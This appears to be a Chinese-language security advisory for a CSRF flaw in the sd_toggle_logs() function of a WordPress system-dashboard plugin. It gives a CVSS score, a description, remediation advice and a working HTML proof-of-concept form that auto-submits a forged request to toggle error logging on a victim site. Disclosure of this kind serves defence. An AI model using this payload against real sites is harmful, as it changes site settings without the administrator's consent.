漏洞类型: 跨站请求伪造(CSRF)
受影响函数: sd_toggle_logs()
CVSS v3.1: 4.3(中危)
向量: AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N
(注:评分反映的是需要管理员受害者与用户交互的未授权状态变更。)
漏洞描述:
函数 sd_toggle_logs() 处理敏感操作,例如启用/禁用页面访问日志、错误日志和邮件投递日志。然而,它仅依赖于 $_REQUEST['log_type'] 参数和权限检查 (current_user_can( 'manage_options' )),并未实施 CSRF 保护(例如 check_admin_referer() 或 nonce)。
因此,攻击者可诱使已登录的管理员访问恶意页面,该页面静默提交伪造请求,导致站点日志功能被意外启用或禁用。
站点日志功能(页面访问日志、错误日志、邮件投递日志)的未授权状态变更。
如果启用了错误日志,站点可能开始将应用程序错误写入由插件决定的文件路径(增加通过日志泄露操作信息的可能性),但此问题的直接影响是状态切换本身。
当具有 manage_options 权限的已登录用户访问攻击者页面时,相应的日志功能将在未明确同意的情况下被切换。
<body>
<form action="http://victim.com/wordpress/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="sd_toggle_logs" />
<input type="hidden" name="log_type" value="errors_log" />
<input type="hidden" name="fast_ajax" value="true" />
<input type="hidden" name="load_plugins[]" value="system-dashboard/system-dashboard.php" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
实施 WordPress nonce(check_admin_referer() 或 wp_verify_nonce())来验证请求。
将敏感操作限制为仅接受 POST 请求。
避免仅依赖权限检查来防范 CSRF。
如果您无法完全按报告中所述复现该问题,请参考以下视频演示(PoC)以获取清晰的复现场景: